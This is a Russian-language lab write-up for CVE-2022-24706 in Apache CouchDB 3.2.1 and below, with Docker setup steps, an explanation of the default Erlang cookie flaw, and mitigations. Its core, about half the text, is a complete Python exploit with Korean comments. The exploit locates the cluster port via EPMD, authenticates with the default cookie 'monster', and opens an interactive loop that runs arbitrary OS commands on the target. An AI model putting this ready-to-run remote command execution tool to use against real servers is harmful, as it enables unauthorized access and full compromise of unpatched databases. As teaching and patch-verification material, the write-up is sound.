
Эксплойт для проверки концепции уязвимости CVE-2022-24706, нацеленный на Apache CouchDB версии 3.2.1 и ниже. Демонстрирует удалённое выполнение команд через протокол Erlang Distribution, используя стандартную аутентификацию через cookie.
Участники
Apache CouchDB — это открытая документо-ориентированная NoSQL база данных, реализованная на Erlang.
Поскольку Apache CouchDB разработан на Erlang, он по умолчанию поддерживает распределенные вычисления (кластеризацию). Узлы кластера взаимодействуют друг с другом через протокол Erlang/OTP Distribution, и с помощью этого протокола можно выполнять команды операционной системы (ОС) с правами пользователя, под которым работает CouchDB.
Для выполнения команд ОС необходимо знать аутентификационную строку (секретную фразу), называемую в Erlang Cookie. В версиях CouchDB 3.2.1 и ниже при установке значение Cookie по умолчанию устанавливается как monster, и злоумышленник, знающий это значение, может пройти аутентификацию и удаленно выполнить команды ОС.
Справочные материалы:
Для выполнения данной лабораторной работы требуется следующее окружение:
На macOS на базе Apple Silicon (M1/M2/M3) могут выводиться предупреждения о платформе образа. В большинстве случаев Docker Desktop автоматически эмулирует образы amd64, поэтому дополнительных действий не требуется. Если контейнер не запускается корректно, можно добавить опцию platform: linux/amd64 в службу couchdb в файле docker-compose.yml.
Если Python 3 не установлен, его можно установить с помощью следующих команд:
sudo apt update
sudo apt install -y python3
Выполните следующую команду, чтобы запустить среду Apache CouchDB 3.2.1:
docker compose up -d
После запуска службы на target-ip будут открыты следующие 3 порта:
В реальной среде порт веб-интерфейса (5984) и порт службы EPMD (4369) фиксированы, но порт кластерной связи может меняться при каждом запуске. Таким образом, можно обратиться к службе EPMD, чтобы узнать номер используемого в данный момент порта кластерной связи.
Если Apache CouchDB запущен корректно, информацию о версии можно увидеть по адресу http://target-ip:5984.

Данная уязвимость возникает при выполнении следующих условий:
monster).docker compose up -d
python3 poc.py target-ip 4369
PoC запрашивает у службы EPMD номер используемого в данный момент порта кластерной связи, а затем выполняет аутентификацию по протоколу Erlang Distribution с использованием Cookie по умолчанию (monster).
После завершения аутентификации можно вводить команды ОС для проверки удаленного выполнения команд.
#!/usr/local/bin/python3
# Python 기본 라이브러리
import socket
from hashlib import md5
import struct
import sys
import re
import time
# 대상 서버 및 기본 설정
TARGET = sys.argv[1]
EPMD_PORT = int(sys.argv[2]) # EPMD 기본 포트
COOKIE = "monster" # CouchDB 기본 Erlang Cookie
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e" # Erlang 노드 목록 요청 패킷
# Erlang 인증 및 제어 메시지
NAME_MSG = b"\x00\x15n\x00\x05\x00\x07\x49\x9cAAAAAA@AAAAAAA"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"
# 사용자가 입력한 명령을 Erlang RPC 패킷으로 변환
def compile_cmd(CMD):
MSG = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
MSG += struct.pack(">H", len(CMD))
MSG += bytes(CMD, 'ascii')
MSG += b'jw\x04user'
PAYLOAD = b'\x70' + CTRL_DATA + MSG
PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
return PAYLOAD
print("Remote Command Execution via Erlang Distribution Protocol.\n")
# EPMD 서버에 접속하여 Erlang 노드 정보 획득
try:
epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
print("Couldnt connect to EPMD: %s\n terminating program" % msg)
sys.exit(1)
# Erlang 노드 목록 요청
epm_socket.send(EPM_NAME_CMD)
# 정상 응답이면 노드 정보를 가져옴
if epm_socket.recv(4) == b'\x00\x00\x11\x11':
data = epm_socket.recv(1024)
data = data[0:len(data) - 1].decode('ascii')
data = data.split("\n")
if len(data) == 1:
choise = 1
print("Found " + data[0])
else:
print("\nMore than one node found, choose which one to use:")
line_number = 0
for line in data:
line_number += 1
print(" %d) %s" %(line_number, line))
choise = int(input("\n> "))
ERLNAG_PORT = int(re.search(r"\d+$",data[choise - 1])[0])
else:
print("Node list request error, exiting")
sys.exit(1)
epm_socket.close()
# Erlang 노드에 접속
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
sys.exit(1)
# Challenge 값 수신
s.send(NAME_MSG)
s.recv(5)
challenge = s.recv(1024)
print(challenge)
challenge = struct.unpack(">I", challenge[9:13])[0]
# Challenge 값을 이용하여 인증 정보 생성
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
+ bytes(str(challenge), "ascii")).digest()
# 인증 요청
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)
# 인증 성공 여부 확인
if len(CHALLENGE_RESPONSE) == 0:
print("Authentication failed, exiting")
sys.exit(1)
print("Authentication successful")
print("Enter command:\n")
data_size = 0
# 사용자 명령을 입력받아 원격 CouchDB 노드에서 실행
while True:
if data_size <= 0:
CMD = input("> ")
if not CMD:
continue
elif CMD == "exit":
sys.exit(0)
s.send(compile_cmd(CMD))
data_size = struct.unpack(">I", s.recv(4))[0]
s.recv(45)
data_size -= 45
time.sleep(0.1)
elif data_size < 1024:
data = s.recv(data_size)
time.sleep(0.1)
print(data[3:].decode())
data_size = 0
else:
data = s.recv(1024)
time.sleep(0.1)
print(data[4:].decode())
data_size -= 1024
В результате выполнения PoC порт кластерной связи успешно определен через службу EPMD, и сообщение Authentication successful подтверждает успешную аутентификацию по протоколу Erlang Distribution.
После этого выполняется команда whoami, чтобы убедиться, что команда выполняется с правами root, и команда id для получения информации о пользователе и группах. Кроме того, команда touch /tmp/success создает файл success в каталоге /tmp целевой системы, а ls /tmp позволяет убедиться, что файл создан. Таким образом подтверждается, что введенные команды ОС фактически выполняются на целевой системе.

После завершения лабораторной работы выполните следующую команду, чтобы остановить контейнеры Docker и сеть:
docker compose down
Обновление до последней версии
Обновите Apache CouchDB до версии 3.2.2 или выше, чтобы устранить проблему использования Cookie по умолчанию.
Изменение Erlang Cookie по умолчанию
Не используйте значение Cookie по умолчанию (monster), измените его на случайное, трудно угадываемое значение, чтобы предотвратить обход аутентификации и удаленное выполнение команд.
Ограничение доступа к портам EPMD и кластерной связи
Примените брандмауэр или политики контроля доступа, чтобы доступ к EPMD (4369) и порту кластерной связи был возможен только с доверенных хостов.
Отключение ненужных функций Erlang Distribution
В средах, где не используется кластеризация, ограничьте внешний доступ к функциям Erlang Distribution или связанным службам, чтобы минимизировать возможность атаки.